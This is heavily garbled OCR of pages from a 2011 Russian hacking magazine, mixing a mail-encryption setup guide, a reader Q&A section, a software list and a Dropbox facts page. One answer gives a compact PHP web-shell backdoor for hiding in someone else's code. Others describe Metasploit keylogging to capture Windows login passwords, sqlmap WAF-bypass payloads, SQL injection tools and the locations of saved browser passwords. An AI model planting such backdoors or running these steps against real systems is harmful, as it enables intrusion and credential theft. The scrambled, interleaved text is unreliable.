$ sudo apt-get install postgresql postfix

openjdk-6-j~

openjdk-6-jre-headless tzdata-java ant ant-optional mktemp wget libsasl2-modules tomcat6 $ wget -с http://djigzo.com/downloads/djigzo-release-2 .l . l-1 / djigzo_2.1 . 1-l_all.deb $_ wget -с http :/ /djigzo.com/downloadsLQjigzo-release-2 . 1 . 1-1/ djigzo-web_2.1.1-l_all.deb $ sudo dpkg -i ./djigzo_2 . 1.1-l_all.deb ./dpkg -i \ djigzo-web_2.1.1-l_all.deb $ sudo apt-get -f install Последн яя кома нда необязательна , ее даем для подстраховки . По

$ sudo

Tomcat:

ер /usr/share/djigzo-webjconf}tomc~server-Tб.xml~

/etc/tomcatб/server.xml И пропи с ыв аем путь к файл у для за п уска

Djig zo :

$ sudo

nап о /e tcj tomcatб / Catalin;J/ localhost/dj igzo. xml <Context docBase=" / usr /s hare / djigzo-web / djigzo.war" unpackWAR="false" /> Перезап ускаем сервер:

$ sudo service

tomcatб

restart

хо ду будут созданы в се необ х одимые каталоги , учетные данные и БД,

п о дправлен /etc/sudoers. В каталоге /etc / postfix появится два шабло­ на ко нфиг у рационны х файла , которыми следует оригинальные:

Набира ем в браузере https: //localho st:8443/djigzo, п ри нимаем сер ­ тификат, для реги стра ции вводим лаги нВеб-интерфейс

$ cd /etc/postfix $ sudo mv djigzo-main.cf main.cf $ sudo mv djigzo-master.cf master.cf

Djigzo

admin, параль- admin .

н е льзя назвать сложным. П у нкты меню по­

з воляют добавить дом е н , пользователя !это термин Djigzo: на самом деле з д ес ь вводит ся почтовый а др ес], у правлять се ртификатами , за­ гружать сп иски отзыва сертификато в ICRL], про сма тривать очереди и прочие парамет ры.

Для отсылки и при е ма сообщений

Djigzo использ уе т Postfix, рабо­

тая в качестве фильтра . Суть работы понятна по одной строке:

ЗАКЛЮЧЕНИЕ В о т и все: приложи в лишь небольшие ус илия , мы за щитили

$ cat cat /etc/postfix/main.cf

электронную почт у о т перехвата. Остается перестроить клиентские

content_filter = djigzo : 127 . e.e.1:1ee2s

программы и контролировать обмен. ::Х::

ХАКЕР

11/154/2011

137


UNITS/FAQ UNITED

FAQ United

ЕСТЬ ВОПРОСЫ- ПРИСЫЛАЙ НА

r.1 ~

FAQriREAL.XAKEP.RU

ЕСТЬ ЗАДАЧА- РЕАЛИЗОВАТЬ

зто

БЫСТРЫЙ ПОИСК . И ВСЕ БЫ ХОРОШО,

н екоторые особеннос ти !украденные с

временной п е р еме нн ой $_.Соответственно,

официального сайтаl:

если тебе удастся встроить этот сни пп ет в

ЕСЛИ БЫ НЕ СЕРЬЕЗНАЯ ФРАГМЕНТАЦИЯ

лучшее решение в твоем случае, упомяну

передавая ей в качестве аргумента значение

ДАННЫХ: ОДНА ЧАСТЬ НАХОДИТСЯ В

феноменальнаяскоростьиндексирования

РНР- сце нарий , то ты сможешь сделать запрос

MYSQL, ДРУГАЯ ХРАНИТСЯ В ФАЙЛАХ,

110-15 Мб в секунду на одном ядре проце ссо ­

copypaste .php ?1=shell_exec&2=whoami, кото­ рый выполнит функцию shell_exec, передав в

ТРЕТЬЯ В НОВОМОДНОМ NОSQL­

ра);

ХРАНИЛИЩЕ, НА КОТОРОЕ МЫ ПОСТЕПЕН­

зашкаливающая производительность поис­

качестве параметра команду для выполнения

НО ПЕРЕХОДИ М. РЕАЛИЗОВЫВАТЬ СТОЛЬ

ка !скорость поиска по одному миллионудо­

whoami.

СЕ РЬЕ ЗНУЮ ЗАДАЧУ С НУЛЯ НЕ ВИЖУ В

кументов la это 1.2 Г б т екста) достигает 500+

СЕБЕ СИЛЫ И СПОСОБНОСТИ. ПОЭТОМУ

запросов в секунду на обычном двухъядер­

КАК СОЗДАТЬ 64-БИТНЫЙ ПРОЦЕ СС

ПРОШУ СОВЕТА:).

ном десктопном компьютере с 2 Г б памяти).

ИЗ 32- БИТНОГ О

...

На самом деле, если по копаться, в се ти

При этом Sphiпx позволяет индексировать

181

можно найти немало поисковых

данные из SQL БД , NоSQLхранилища и про­ сто файлов. Короче говоря, вещь!

движков. Для многих компаний это серьезный бизнес, правда, за свои нарабо т ки и их внедрение они берут немаленькие деньги . Есть и открытые проекты, которые, впрочем, мало чем уступают своим коммерческим

товарищам . Взять хотя бы известный Sphiпx

l sphiпxseaгch . com l. Это мощнейший поис­

r.1

Как вариант, можно использовать такой

ковый сервер, который можно использовать

ILil

бесплатно. Чтобы оценить мощь проекта,

html l :

с ниппет lh . ackack . пet/tiпy-php-shell.

<?=($_=@$_GET[ 2]).@$_($_GET[1])? > Идея тут в том, что РНР позволяет обраба­

Вдумайся в цифры : 200 000 000 миллионов

тывать строки как вызовы функций. В частно­

за пр осов в день! Или 2 000 запросов в секунду.

сти, этот код можно разбить на две части:

поисковик в свой движок - вполне посильная

пotepad.exel, то будет соз дан 32 - битный про­ цесс , даже под 64-битной системой. Имей это в виду .

МНЕ ВПЕРВЫЕ ДОВЕРИЛИ ОБЕСПЕ­

~ ЧИТЬ БЕ ЗО ПАСНОСТ Ь САЙ ТА. ПЕРВ ОЕ, ХОРОШУЮ WAF/IDF. Подскажи, какие из них особенно хоро ш и?

n

181

Поисковый механизм Sphiпx выдерживает подобную нагр узку. При этом интегрировать

Пр имечательно, что если не указывать

полный путь до бинарника lв нашем случае до

ЧТО Я ХО Ч У СДЕЛАТЬ- ПОСТАВИТЬ

Cгaigslist.oгg . Это проект не очень известен у нас в России, но дико популярен на западе.

exec ut e -н -с -f "C :\\WINDOWS \\Sys native \\ not epad.exe"

r.1

достаточно сказать, что он используется в

крупнейшем сервисе бесплатных объявлений

execute :

КАК Н~ ЗАМЕТНО ВСТРОИТЬ ШЕЛЛ В

~ ЧУЖОИ РНР-КОД, ЧТОБЫ В НЕМ НЕ БЫЛО ПОДОЗРИТЕЛЬНЫХ ФУНКЦИЙ ВРОДЕ EVALII?

n

IXB61?

Для этого есть коман да

1. $_=@$_GET[2] 2. @$_($_GET[1] )

Есть два прод ук та , которые сч итают с я

своего рода стандартами : PHPIDS

l phpids.oгg l и ModSecuгity ( www.modsecuг i ty. 2д1 i. На деле можно с у веренностью сказать, что любой автоматизированный инструмент

задача. Поиск через механизм SphiпxAPI реализуется тремя строками кода. Доступен

Тут все просто. Первая часть берет пара-

также с п е ц иальный язык запросов SphiпxQL,

метр из GЕТ-переменной 2 и сохраняет ее во

(вроде sqlmap "al едва ли сможет побороть WAF. Д а и опытный п ентестер в случае

который даж е проще чем старый добрый SQ L.

временную переменную $_ . Вторая часть кода

исполь зо вания самых последних версий эти

Чтобы окончательно убедить тебя в том, что

выполняет функцию из GЕТ-переменной 1,

инструментов, скорее всего, останется не у

5 ШАГОВ: ИСПОЛЬЗУЕМ ВСТРОЕННЫЙ В METASPLOIT КЕЙЛОГГЕР

Q

У меня есть удаленный до сту п к

удаленной машине через Metasploit, но я никак не могу вытащить па роль

1

Лучший способ- попробовать от­ снифать па роль, когда пользователь будет вводить его пр и входе в систему.

2

Если по лога м становится понятно , что пользователь нажал < LWiп> и клавишу

<L>, значит, он заблокировал систему и

п о ль зователя к системе. Используется

Metasploit Fгamewoгk может п ерехва тывать

обязательно должен будет ввести па роль, чтобы

длинный сложный пароль, с которым никак не

нажатия клави ш на удале нн ой машине. Когда

войти в нее снова. Казалось бы, идеальный рас­

справится Ophcгack l ophcгack.souгcefoгge.пet l.

соединение установлено, мы просто вводим в

клад. Но вероятность, что юзер вообще лечит

Что в такой ситуации можно сделать? Как

консоли mеtегргеtег команду <<keyscaп_dump>>,

систему, не велика , и, что хуже, посмотрев дамп

вытащить пасс?

-и видим то, что набирает пользователь.

с клавиатуры, мы не увидим там пароля!

138

ХАКЕР

11/154/2011


FAQ UNITED

дел. Впрочем, не надо слишком полагаться на

WAF. Оdау-техники для обхода файрвалов для веб-приложений будут всегда. Тот же

РЕВЕРСИНГ MALWARE-KOДA ДЛЯ

ANDROID

ModSecuгity даже устраивает конкурсы, где за вознаграждение предлагает обойти свою защиту, и ведь всегда находятся те, кому зто

удается. Мораль сей басни такова: в первую очередь нужно обезопасить само приложение,

тщательно исследовав код !хотя бы убедиться, что в СУБД передаются параметризированные

запросы!, и уже п осле этого устанавливать дополнительный слой защиты в виде WAF.

m

КАК ПРО ВЕРИТЬ, НЕ ОТПРАВЛЯЕТ ЛИ ПОДОЗРИТЕЛЬНОЕ АNDRОID­ ПРИЛОЖЕНИЕ СМС НА ПЛАТНЫЕ НОМЕРА?

в

Вопрос а нали за зловредного кода для Android заслуживает отдельной статьи. Как понимаешь, единственный путь узнать, что делает приложение,- зто

расковырять его и посмотреть, что у него внутри. В нашем случае нужно особенно

уделять внимания системным вызовам для отправки сообщения. Если nредположить, что

злоумышленник никак не пытался скрыть функциональность приложен и я, то узнать об этом

А КАКИЕ ЕСТЬ СПОСОБЫ ОБХОДА

вполне можно своими силами.

WAF?

1.

Современные

WAF далеко ушли в

развитии, по зтому сложно привести

какие-то актуальные способы для их обхода. Но попробую объяснить на пальцах. Если взять тот же самый

sqlmap, то в его составе

Чтобы изучить код прило~ения, сначала преобразуем Andгoid dех-формат в формат Java class, воспользовавшись утилитой Dex2jar ic ode . goog l e . com/p/dex2jaг l. Н е надо даже вы­ таскивать dех-файлы из па кета apk, в котором распространяется приложение, -утилита сделаетэта сама.

2.

П олучив jаг-файл, ты може шь просмотреть код на Java с помощью замечательной про­

граммы JD-GUII java.decomp i leг.fгee.fг l. Можешь попробовать пои скать вызовы функции

есть так называемые tаmрегing - скрипты.

seпdTextMessagell, предназначенной для отправки текстовы х сообщений. Если при­

Например, скрипт

ложение зловредное, ты сразу сможешь выяснить, какой номер зашит для отправки SMS.

randomcomments .py

использует inlinе-комментарии, внедряя их в

В последнее время злоумышленники стали умнее и выбирают короткий премиальный

ключевые слова SQL !например, SELECT

номер в зависимости от региона прожив а ния пользователя !это проверяется по специ­

превращается в SEL/**/E/**/CTI. Это nозволя­

альному коду МСС , MoЬile Соuпtгу Codel .

е т обойти примитивные механизмы, основан­

Разумеется, я рассмотрел самый простой случай, обычно разработчики з ловр еда пытаются

ные на блеклистах !не пропускающие

тщательно замаскировать приложение. Сейчас в бла га х большинства антивирусных

параметры вроде SELECT и т. п . l . С крипт

вендаров в большом количестве выкладываются отчеты о реверсинге малвари для Aпdгoid,

unmagicquotes.py используется для обхода популярного механизма защиты magic_quotes !например, 1' AND ;1 превращается в 1%bf%27 AND 1;1--%281.

которые помогут разобраться в приемах злоумышленников.

С крипт veгsionedkeywoгds.py применяется для обхода старых версий нескольких популяр­

ных WAF/IDF IUNION ALL SELECT превращается

в * !UNION*//*!ALL*//*!SELECT*/1. Все подобные скрипты la в том же самом sqlmap их всего 241 используются для того, чтобы обфусцировать запрос, так чтобы его не заметил

WAF.

r.1 КАК БЫСТРО ОБНОВИТЬ BACKTRACK, .... ПОДГРУЗИВ ВСЕ НОВЫЕ НАСК­ УТИЛИТЫ?

lr.8 181

Переходи в терминал и , убедившись, что

ты работаешь под рутам, запускай

update: /usr/Ьin/apt-get

-у_

update /usr/bin/apt -get -у upgrade Чтобы с качать и установить все апдейты

·~ Sel.enium IDE • ~dit

File

Options

=

ЬJi r:~ lu 1

D

tielp

Base URL 1http:J/www.google.comf

<!) Run

О Walk

О Step

1

~l fil

.".

Editor ] Source ] Command open

1 Value

1 Target

type

q

cfici<AndWait

btnG

clickдndWait

link=Antony Marcan .. .

С помощью

JD-GUI ты

1

f selenlum IDE rocks!

не только сможешь в удобной форме посмотреть .JАVА-исходники, но осуществить

поиск интересующих тебя элементов.

исnользуй команду:

з

Активная сессия и winlogon !процесс

П онятно, что никто не будет ждать, пока

входа в систему! используют разные

п ользовательрешитзаварить кофейку

клавиатурные буферы . Поэтому если

и залочит компьютер . Мы сами можем

5

Собственно, эта идея и реализована в

скрипте Lockout_Keyloggeг, который автоматизирует весь процесс от и до.

снифать активную сессию, то не видно ничего,

залочить его десктоп и заставить его выполнить

Пока пользователь не пользуются компьютером,

что будет вводить пользователь во время входа в

вход ' в систему. Идеально вообще автоматически

он лочит систему !чтобы не вызвать подо зрений!

систему. И наоборот. Так что кейлоггер необхо­

подключить meteгpreteг к процессу wiпlogoп,

и перехватает клавиатурный буфер. Если юзер

димо включить, подключив шелл meterpгeteг к

затем через некоторое время принудительна за­

введет па роль, с крипт автоматически вытащит

процессу wiп logoп.

блочитьсистемупользователя.

его из лога нажатий и покажет в открытом виде.

ХАКЕР

11 / 154/ 2011

139


UNITS/FAQ UNITED с. . Se\en\1811 IDE • File

6ase URL

0

Options

!;:dit

j http://www.google.com/ 0 Wa!k О Step

...

Run

L

-tlelp

' 1 ~

Edito'ТSource} Target

rfonvnand open

1

2. Далее можно вообще отключитьдоступ для Root'a , поправив в конфиге демона 1/ etc/ssh/sshd_configl следующий пара метр : PermitRootlogin no. 3. Список п ользователей, которым разрешен доступ по SSH, обычно ограничен . Это можно

Value

отобразить в конфиге с помощьюдирективы

-

AllowUsers <username>. Можно перечис­

type

q

clickAndWait ctlckAndWait

btnG link=Antony Marcan ...

selenium IDE

c~ckAndWait

link=5 comments

~TextPresert

1~ necord plovЬe .. .

J

Target Value

--

r1think record playback is а wonderful thing J с 1

Расширение

Selenium IDE поможет быстро создать тесты

• •

Absinthe lwww.Ox90.oгg/гeleases/absinthe l ; pysqlin lcode .google.com/p/pysqlinl; WITOOL l w i tool.souгcefoгge.net l; sqlus l sqlsus.souгcefoгge . net l; Toolza I Ьit.ly/гihToZ I . И это лишь начало списка ...

пятую и использовать в именах wildcaгd 'ы

ГДЕ БРАУЗЕРЫ ХРАНЯТ

1* и ?1. Как вариант,

ПА РОЛИ?

можно разрешить

доступ какой-то определенной группе:

Fiгefox для хранения паралей использует

AllowGгoups <gгoups>.

базу данных

Sqlite, сохраняя их в файле

Никто не мешаетчуть-чуть заt-~аскировать

signoпs.sqlite . Пароли зашифрованы с помощью

сервис. Если не использовать какие-нибудь

Tгiple-DES и закодированы с помощью BASE64.

извращенныетехники вроде Poгt-knockiпg, то

Файл находится в каталоге с профайлом

можно хотя бы поменять порт для SSН-сервиса

5. В конце концов, можно разрешитьдоступ только с определенных IP !через hosts.allowl адресов или фильтровать подключения по

Гlnio-----r;l Г

LOQ[O~

лить н ескольких пользователей через за­

4. Command 1assertTextPresen_t _ _ _

Магаthоп Toollwww.codep lex.com/

ma г athontool l;

региону.

r.1

СЛУЧАЕТСЯ, ЧТО СИСТЕМА !WINDOWS

пользователя, размещение которого зависит от системы:

[Windows ХР] C:\Documents and Settings\<user_name>\ Application Data\Mozilla\Firefox\ Profiles\<random_name>.default

1;.1 7) НАГЛУХО ЗАВИСАЕТ ИЗ-ЗА КАКОГО-ТО ПРОЖОРЛИВОГО ПРИЛОЖЕ­

apt-get dist-upgrade

НИЯ. ПРИЧЕМ В ЭТОЙ СИТУАЦИИ НЕ ВСЕГДА ДАЖЕ МОЖНО ВЫЗВАТЬ МЕНЕДЖЕР

Если хочешь обновить дистрибутив до по­

ЗАДАЧ, ЧТОБЫ ВЫГРУЗИТЬ ПОДЛЫЙ ПРОЦЕСС. Е СТЬ ЛИ КАКОЙ-ТО ВЫХОД ИЗ

следний версии, то это делается так:

apt-get update

&&

apt-get dist-upgrade

Или еще вариант. Можно обновить толь­ ко sесuгitу-компоненты через специальный

ЭТОГО ПОЛОЖЕНИЯ?

в

роли в базе данных sqlite в файле «Login Data>>,

AпtiFгeeze l гespleпdence.com/antifгeeze

который лежит в директории профайла :

~1 . Это альтернативный таск-менеджер, быть установлен в системе. Он заставит

/pentest/exp loits /fast- track.py - i

« заснуть>> все заnущенные приложения , кроме

r,1

закрыть те nроцессы, из-за которых возникли

наиболее важных, предоставляя возможность

КАКИЕ РЕШЕНИЯ СЕЙЧАС ПРИМЕНЯ1;.1 ЮТСЯ ДЛЯ АВТОМАТ ИЗИРОВАННОГО ТЕСТИРОВАНИЯ ВЕБ-ИНТЕФРЕЙСОВ?

1'.'1

~

Одним из инструментов, который

постеnенностановитсястандартом

де-факта в области тестирования веб­

nроблемы. Утилита выглядит довольно топорно, но действительно работает и не раз меня выручала . По умолчанию, AntiFгeeze

[Windows ХР] C:\Documents and Settings\<user_name>\ Local Settings\Application Data \Goog le \ Chrome\User Data \ Default [Windows Vista & Windows 7] C:\Users\<user_name>\Appdata\Local\ Google\Chrome\User Data\Default

назначает для вызова себя хоткей

ALT+CTRL+WI N+HOME.

интефрейсов, является Seleпium l seleпiumhq. QДJ I. Своего рода стандартом качества можно

Google Chгome, как и Fiгefox, сохраняет nа­

В некоторых ситуациях может спасти

который, естественно, предварительно должен

сценарий:

[Windows Vista & Windows 7] C:\Users\<user_name>\AppData\Roaming\ Mozilla\Firefox\Profiles\<random_name>. default

Орега использует для хра нения свой формат файла. Он называется

r.1

КАКИЕ ЕЩЕ СУЩЕСТВУЮТ С КАННЕРЫ

считать тот факт, что его используют для

1;.1 ДЛЯ АВТОМАТИЗАЦИИ SQL-

тестиров ания приложений и сервисов внутри

ИНЪЕКЦИЙ, ПОМИМО SQLMAP, О КОТОРОМ

Яндекса, о чем рассказывалось нанедавней

ВЫ ПИСАЛИ В ПРОШЛОМ НОМЕРЕ?

конференции Уас.

в

<< Wand .dat >>

и располага­

ется внутри директории профиля:

C:\Documents and Settings\<username>\ Application Data\Opera\Opera\wand.dat

Не будем брать в расчет nрофессиональ­

ные сканнеры безопасности !вроде

сложно, потому что он состоит из множества

Acuпetix WVS, www.acuпetix.com l. Но даже в

[Windows Vista /Windows 7] C:\users\<username>\AppData\Roaming\ Opera~Opera\wand.dat

Описать этот инструмент в двух словах отдель ны х подnроектов. Один из комnонентов

этом случае остается огромное количество раз­

- Selenium IDE- представляет собой аддон

нообразных сканнеров, написанных энтузиа­

для Fiгefox , который позволяет быстро запи­

стами:

сывать и воспроизводить тесты. С созданием теста справится любой человек, который хорошо представляет, как должно работать тестируемое приложение .

Sql n i nj а lsq lni n ja .sou гсеfогgе . netl; Paпgolin 3.2.3 fгее edition l www.nosec . oгg/en/ pangolin download.html l; Havij v1.14Advanced SQL lnjection litsecteam . com/e п /pгo j ects/p гoject1.htm l;

r,1

КАК ОБЕЗОПАСИТЬ СВОЙ SSH

n

1.

1;.1 ДЕМОН ?

181

Самый верный путь- отключить

па рольную аутентификацию и использо­

SQL Роwег lnj ectoг lwww.sqlpoweгinjectoг.com l ;

lnteгnet Ехрlогег сохраняет зашифрованные парали в реестре вместе с хэш ем

URL веб­

сайта:

HKEY_CURRENT_USER\Software\ Microsoft\Internet Explorer\ IntelliForms \Storage2

SQLieг 0.8 . 2Ь l bcaЫe.net/гeleases.php?sqlieг l;

bsqiЫ-v2 ic ode.google.com/p/bsqiЫ-v2 l;

Извлечь пассы помогут утилиты

SCRT Mini-MySqlatOг l www.scгt.ch/attaque/

FiгePasswoгdVieweг, FiгePasswoгd, Chгome

вать для авторизации pгivate-puЫic к лючи . В

te l echa гgemen t s/mini-mysqlatOг l;

Passwo гd Dec гурtо г, О ре га Р asswo гd О есгурtо г,

этом случае можно забыть о небезапасных

Safe3 Sqllпjectoг lsouгcefoгge.net/pгojects/ safe3si l;

IEPasswoгdDecгyptoг. Все они доступны для за­

паролях , брутфорсе и т.д.

грузки на сайте secuгityxploded.com . ::::К:

ХАКЕР

11 / 154/2 011


Reqistry Decoder Remove Fake Antivirus 1.80

Ophcrack 3.3.1 Process Hacker 2.22 ProcHeapViewer 3.5

NetworkMiner 1.1

Angгy

Ox4553-lntercepter 0.84 IP Scanner 3.0. beta АхСгурt 1.7 cudadbcracker DDOS Tracer 1.0 FBPwn 0.1.6 Fpipe 2.1 knock 1.5 ModSecurity 2.6.2

>Security

AirDC++ 2.20 AppSnap 1.3.3 BTProximity Droof Elite Proxv Switcher 1.16 FileHippo Update Checker 1.038 Fresh FТР 5.45 NameBench 1.3.1 Network Activity lndicator 0.9.0 QckTwit 0.9.5.1 Remote Deskto RusRoute 1.8.2 TapinRadio 1.0 WinSCP 4.3.5 Wireless Network Watcher 1.31 Wittv 2.0.4

>Net

DVDFab Passkey Lite 8.0.3. 9 EPNamer 2.0.0 Free Screen То Video 2.0.0.0 MakeMKV 1.6.15

>Multimedia

>Games Secret Maryo Chronicles 1. 9

Android SDK R13 Dev-C++ 4.9.9.2 Ecliose 3. 7.1 Eclipse РО Т 2.2.0 IETester 0.4.11 ILMerae 2.11.0923 PSPad 4.5.4 Qt Creator 2.3.1 SharpDevelop 4.1 SaiDbx 3.51 TLS Lite 0.3.8 Т ortoiseSVN 1.6.16 WampServer 2.2а ХАМРР 1.7.4

>Development

»WINDOWS

Chanaes Meter 1.7.7 eMaps 2.3.6 Funter 1.0.0 Get Tube 5.0 Google Books Downloader 1.0 lnerziaMode 1.4 iPiayer+ 2.0.2 LotsaSnow 1.5 MacPorts 2.0.3 Moroshka File Manager 1.0.54 MPiaverX 1.0. 9 Scroll Reverser 1.4.4 SyncTwoFolders 1 .7.6Ы Syrinx 2.4. 7 TCPBiock 2. 9 Т eleport 1.1 Tincta 1.1 Wunderlist 1.2.4 Wvse PocketCioud 2.0.7s Х Lossless Decoder 20 110924

»МАС

DVD Flick 1.3.0.7 Fast Folder Eraser РС Usaae Viewer 1.0 RAM CPU Taskbar 1.6.2 SARDU 2.0.3 SvncTov 2.1 UltraDefraa 5.0.0 beta3 UNe tbootin 5.55 WinDirStat 1.1.2 WinDiView 1.0.3 Win Meroe 2.12.4

OriverBackup 2.1

Console 2.00 CPU-Z 1.58 DouЫe Commander 0.5.0 Driver Sweeper 3.2.0

>System

AutoCiioX 1.9.0.0 ControiPad 0.72 Feewhee 1.3 Free Countdown Timer 2.3 Free Studio 5.2.1 GymNotes 1.3.1.740 Handy Shortcuts MapKeyboard 1.2 Menu Uninstaller 1.2.3 MouseFighter 5.6 Rainbow Folders 2.05 Smart UAC Touchoad Blocker 1.5 USBFiashSpeed USBGrab Vol ume21.1.1

>Misc

soapUI 4.0.1 SUPERAntiSpyware 5.0.1128 USB Dummv Protect 1.1 USB Hidden Folder Fix 1.1 VISDA wavseo 1.0.3 Wioe File 2.1.1 XCat FBPwn 0. 1.6

>X-distr

Calculate Linux 11.9 FreeNAS 8.0.1 Linux Mint 11

>Sec!!d!Y__ Dacs 1.4.26

>System AMD Catalyst OpenGL 8.88.8 BleachBit 0.9.0 Bootchart О. 9 Clonezilla 1.2.10-14 Computer-janitor 2~ 1.0 Coreutils 8.13 LimitCPU 1.4 Linux Kernel 3.0.4 Nut 2.6.2 Nvidia 285.05.09 OoenNebula 3.0.0 Parcellite 1.0.2rc5 PulseAudio 1.0 Q4Wine 0.121 ~stemd 36 TruPax 4т VirtuaiBox 4.1.4

Vsftpd 2.3.4

~-ng3.3.1

Apache 2.2.21 Asterisk 1.6.2.20 BIND 9.8.1 CUPS 1.5.0 DHCP 4.2.2 Dovecot 2.0.15 Freeradius 2.1.12 1i!Jhttpd 1.4.29 MiniDLNA 1.0.22 MvSQL 5.5.16 Nsd 3.2.8 OoenLDAP 2.4.26 OoenVPN 2.2.1 Postfix 2.8.5 PostareSQL 9.0.5 Samba 3.6.0 Sendmai18.14.5 Snort 2.9. 1 Sauid 3.1.15

>Server

knock 1.5 Lsat 0.9. 7.1 Lutz 0.8.1 Malhe ur 0.5.2 ModSecu rity 2.6.2 netsniff-na 0.5.6 Packetfence 3.0.1 pfSense 2.0 Sam 0.6.0 SAMHAIN 2.8.6 soaoUI 4.0.1 Sshauard 1.5 Stunnel 4.44 THC-HYDRA v7.1 tsakwaf 0.9.1 wavseo 1.0.3 XCat Zoneminder 1.25.0

lnauma 0.4

>Net Aria21.12.1 CheckGmail 1.13 EiskaltDCPP 2.2.4 Empathy 3.2.0 Esnioer 2.26.0 Filezilla 3.5.1 Firefox 7.0.1 Frostwire 5.1.5 Midori 0.4.0 Minitube 1.5 MumЫe 1.2.3 Opera 11.51 Pidain 2.10.0 Rtorrent 0.8.9 Ssvnc 1.0.29 ThunderЬi r d 7.0.1 Turpia11.5.0 WebHttrack 3.44.1

Assa ultCube 1.1.0.4 Hedgewars О. 9.16 OoenCionk 5.2.0

>Games

Aotana 3.0.5 Boost 1.47.0 Clan l ib 2.3.3 Cloiure 1.3.0 Clutter 1.8.0 dhtmlxGantt 1.3 GMP 5.0.2 GTK+ 3.2.0 ·auerv 1.6.4 Juce 1.5.3 Maatkit 7540 MantisBT 1.2.8 MonoDevelop 2.6 atCreator 2.3.1 Rails 3.1 Shoaun 1.0.0

>Devel

>Desktop AfterSteo 2.2.11 aTunes 2.1.0 BombonoDVD 1.0.2 Deia-Duo 20.0 Diffuse 0.4.4 ffDiaporama 1.0.0 GNO ME 3.2 GnoMenu 2. 9.1 Gobby 0.4.94 Granola 4.0.1 Grsvnc 1.2.0 HomeBank 4.4 lnterceptor 1.2. 9 Kile 2.1 LibreOffice 3.4.3 Rodent 4.7.2 Subsonic 4.5 Terminator 0.96 WatchVideo 2.2.1

»UNIX

SSL: 1

MYSQL С

ПОМОЩЬЮ

ХРАНИМЫ Х ФУНК ЦИЙ , ПРОЦЕДУР И ТРИГГЕРОВ

П РОТРОЯНИВА НИЕ

-

1:

о

ЛАЗЕЙКУ В СИСТЕМЕ .

ОСТАIИТЬНЕЭАМЕТНУIО

ВОЗМОЖНОСТЯМИ СУ&Д

ОТОМ, КАКСТАНДАРТНЫМИ

EN PAULJOBS (1955-2011)

.

В ТЕОРИИ е И НА ПРАКТИКЕ е

БЭКДОРВБД

ВЗЛОМ

-·-·-·-

!=~

~~

:~.... ~ := ~

; ;;;;;;;;;;;;;;;-

......

~ ~~-

....~-­

И З АРАБАТЫВАЕМ Н А Н ЕМ

С ОЗДАЕМ С П АМ-БЛОГ

ВЗЛАМЫВАЕМ НАSР - КЛЮЧИ

РАЗБИРАЕМСЯ , ЧТО К ЧЕМУ

WINDOWS 8:

ЦЕНА:210р.

РЕ КО МЕНДО ВАННАЯ


UNIТS/ЦИФРЫ

Dropbox

На этой странице мы собрали цифры и факты о сервисе

Dropbox, а об

истории его создания

читай в статье «Коробка в облаках »8

ОДИН ИЗ ЛУЧШИХ 20 СТАРТАПОВ КРЕМНИЕВОЙ ДОЛИНЫ, ПО МНЕНИЮ BUSINESS INSIDER

25 000 000

аккаунтов

было проинвестировано

зарегистрировано

в DгорЬох на старте

файлов пользователи

300 000 000

$100 000 000

со х раняютежедневно

$1149

расчетнаявыручкакомпании

на конец

2011

года

потрачено

пользовательских файлов

100 000 000 000

$300 000 000

хранится на серверах

ожидаемые инвестиции

на рекламу

в ближайшее время

в момент старта

7 месяцев

потребовалось сервису DгорЬо х чтобы набрать

первый миллион пользователей .

0.1

$4 000 000 000

cD

сентябрь

март

январь

апрель

2008

2009

2010

2011

Создатель и основатель DгорЬох -ДрюХьюстон­

69

экспертная оценка нынешней капитализациикомпании

пользователей

пользователей начали работу

привлечены с помощью

с сервисом с чужи х расшарен­

реферальной

ны х папок и других дополни-

программы

тельных возможностей

человек работает

в команде DгорЬох

изни х ­

35

инженеры

В скором времени штат

nланируется увеличить

400

+

программирует с с

5 лет, 14 лет занимается стартапами

С

201 О

года DгорЬох

Python

Благодаряразработке

Amazon ЕС2+53 :

использовался

собственного механизма

эти облачные

для наnисания как

технологии

серверной части,

ее использование

лежат в основе

так и клиентских

удалосьсократить

DгорЬох

nриложений

на90 %

Популярность

no странам,

млн. чел.

заблокирован в Китае

nотребления nамяти для

Клиент DгорЬох

Python

Пользователи по платформам

nортирован

США Англия Германия Яnония

Канада Испания

Нидерланды Китай

32.7 6.7 6.5 4.7 4.0 3.5 3.2 2.8

66.1о/о

на следующие

nлатформы :

,j), iPhone iPad Andгoid BlackBeгry

20.9°/о

2.Оо/о

~

7.4о/о 2.6°/о

<

0.3°/о

ХАКЕР

11/154/20 11


Issuu converts static files into: digital portfolios, online yearbooks, online catalogs, digital photo albums and more. Sign up and create your flipbook.